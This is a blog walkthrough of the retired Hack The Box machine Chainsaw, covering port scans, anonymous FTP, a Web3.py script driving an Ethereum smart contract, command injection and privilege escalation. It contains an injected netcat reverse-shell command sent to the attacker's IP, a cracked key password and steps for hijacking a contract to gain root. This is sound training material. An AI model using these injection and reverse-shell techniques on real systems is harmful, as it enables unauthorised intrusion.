This post documents the complete walkthrough of Chainsaw, a retired vulnerable VM created by artikrh and absolutezero, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Chainsaw is retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.142 --rate=1000
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-06-19 01:43:05 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 9810/tcp on 10.10.10.142
Discovered open port 21/tcp on 10.10.10.142
Discovered open port 22/tcp on 10.10.10.142
9810/tcp
sure looks interesting. Let’s do one better with nmap
scanning the discovered ports to establish their services.
# nmap -n -v -Pn -p21,22,9810 -A --reason -oN nmap.txt 10.10.10.142
...
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json
| -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol
|_-rw-r--r-- 1 1001 1001 44 Jun 18 20:49 address.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.122
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA)
| 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA)
|_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519)
9810/tcp open unknown syn-ack ttl 63
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Wed, 19 Jun 2019 01:48:39 GMT
| Connection: close
| Request
| GetRequest:
| HTTP/1.1 400 Bad Request
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Wed, 19 Jun 2019 01:48:32 GMT
| Connection: close
| Request
| HTTPOptions:
| HTTP/1.1 200 OK
| Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent
| Access-Control-Allow-Origin: *
| Access-Control-Allow-Methods: *
| Content-Type: text/plain
| Date: Wed, 19 Jun 2019 01:48:33 GMT
|_ Connection: close
Hmm. No luck with 9810/tcp
. What the heck, since anonymous FTP is available, we’ll go with that first.
Anonymous FTP
There are three files in there. Let’s grab all of them.
pragma solidity ^0.4.24;
contract WeaponizedPing
{
string store = "google.com";
function getDomain() public view returns (string)
{
return store;
}
function setDomain(string _value) public
{
store = _value;
}
}
Turns out that WeaponizedPing.sol
is a smart contract written in Solidity. Ethereum huh…
Ganache CLI
Despite not knowing anything about Ethereum, I was able to tease out the fact that 9810/tcp
was running Ganache CLI.
# printf "$(curl -s -H "Content-Type: application/json" -d '{}' http://10.10.10.142:9810 | jq . | sed '6!d' | cut -d':' -f2- | sed -e 's/ "//' -e 's/",//')\n"
Error: Method undefined not supported.
at GethApiDouble.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/geth_api_double.js:66:16)
at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
at GethDefaults.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/gethdefaults.js:15:12)
at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
at SubscriptionSubprovider.FilterSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/filters.js:89:7)
at SubscriptionSubprovider.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/subproviders/subscriptions.js:136:49)
at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
at DelayedBlockFilter.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/delayedblockfilter.js:31:3)
at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
at RequestFunnel.handleRequest (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/lib/subproviders/requestfunnel.js:32:12)
at next (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:116:18)
at Web3ProviderEngine._handleAsync (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:103:3)
at Timeout._onTimeout (/usr/local/lib/node_modules/ganache-cli/node_modules/ganache-core/node_modules/web3-provider-engine/index.js:87:12)
at ontimeout (timers.js:498:11)
at tryOnTimeout (timers.js:323:5)
at Timer.listOnTimeout (timers.js:290:5)
According to its GitHub repository,
Ganache is your personal blockchain for Ethereum development.
After some reading and research, I got to know that ganache-cli
, by default, automatically creates 10 accounts associated with 10 private keys. Each account has 100 ethers for testing purpose. It also exposes the JSON RPC API.
Gaining a Foothold
We need something to interact with the WeaponizedPing contract deployed in Ganache-CLI.
Enter Web3.py.
Towards that end, I wrote the following Python script.
#!/usr/bin/env python3
from web3 import Web3, HTTPProvider
import json, sys
contract_data = json.loads(open('WeaponizedPing.json').read())
contract_addr = open('address.txt').read().rstrip()
w3 = Web3(HTTPProvider('http://10.10.10.142:9810'))
account = w3.eth.coinbase
weapon = w3.eth.contract(address=contract_addr, abi=contract_data['abi'])
weapon.functions.setDomain(sys.argv[1]).transact({"from":account,"to":contract_addr})
weapon.functions.getDomain().call()
To test it out, I set up tcpdump
to listen on tun0
for any ICMP traffic. In a separate terminal, run ./weapon.py <my_htb_ip>
.
Exactly one ping
request is seen. I think I know what’s going on here. Let’s do it this way then.
# ./weapon.py '; nc 10.10.14.122 1234 -e /bin/bash'
Bam. A reverse shell appears!
Low-Privilege Shell
Now that we have a low-privilege shell, it’s time to find user.txt
.
Getting user.txt
If I have to guess, I would say that user.txt
is in bobby
’s home directory. Too bad I don’t have access to it.
During enumeration of administrator
’s account, I notice pub
appears to be carrying all the SSH public keys belonging to bobby
and the rest of the “users”. They were apparently generated by gen.py
, given that their last-modified dates were identical.
From the code of gen.py
, I should have bobby.key
(SSH private key) but it’s nowhere to be found. It was at this moment, I saw .ipfs
at administrator
’s home directory.
I did a simple recursive grep
for bobby
and see what I found.
Jackpot! One of the ipfs
blocks is holding an email with bobby
’s private key as attachment.
Let’s extract the email and see what it says.
Here’s how bobby.key
looks like.
Time to show John the Ripper some
The password is jackychain
. Just as expected, user.txt
is indeed in bobby
’s home directory.
Privilege Escalation
During enumeration of bobby
’s account, I noticed something interesting.
Getting root.txt
There’s a projects
directory in bobby
’s home directory. It appears that there’s another Ganache-CLI instance and we need to call another contract function as well.
pragma solidity ^0.4.22;
contract ChainsawClub {
string username = 'nobody';
string password = '7b455ca1ffcb9f3828cfdde4a396139e';
bool approve = false;
uint totalSupply = 1000;
uint userBalance = 0;
function getUsername() public view returns (string) {
return username;
}
function setUsername(string _value) public {
username = _value;
}
function getPassword() public view returns (string) {
return password;
}
function setPassword(string _value) public {
password = _value;
}
function getApprove() public view returns (bool) {
return approve;
}
function setApprove(bool _value) public {
approve = _value;
}
function getSupply() public view returns (uint) {
return totalSupply;
}
function getBalance() public view returns (uint) {
return userBalance;
}
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}
function reset() public {
username = '';
password = '';
userBalance = 0;
totalSupply = 1000;
approve = false;
}
}
Let’s use what we’ve learned from the previous contract and apply it.
Time to set a username and password I control, and see if I can bypass the ChainsawClub
executable.
Suffice to say, I need to approve the user and supply some lubricants
I couldn’t believe my eyes when I saw the root
prompt. Good advice because if you go look for root.txt
, this is what you see.
Damn. What does it even mean? I’m going to put on my forensics hat and take things one step at a time. First of all, root.txt
was last modified on Jan 23, 2019 at 0904hrs.
Let’s see what executables were accessed within that timestamp. We first create a last-accessed timestamp with touch
.
touch -at "201901230904" /tmp/stamp
What’s bmap
? Googling for “bmap hide” brought me to this.
I see what’s going on. The real root
flag must be hidden in the slack space of root.txt
.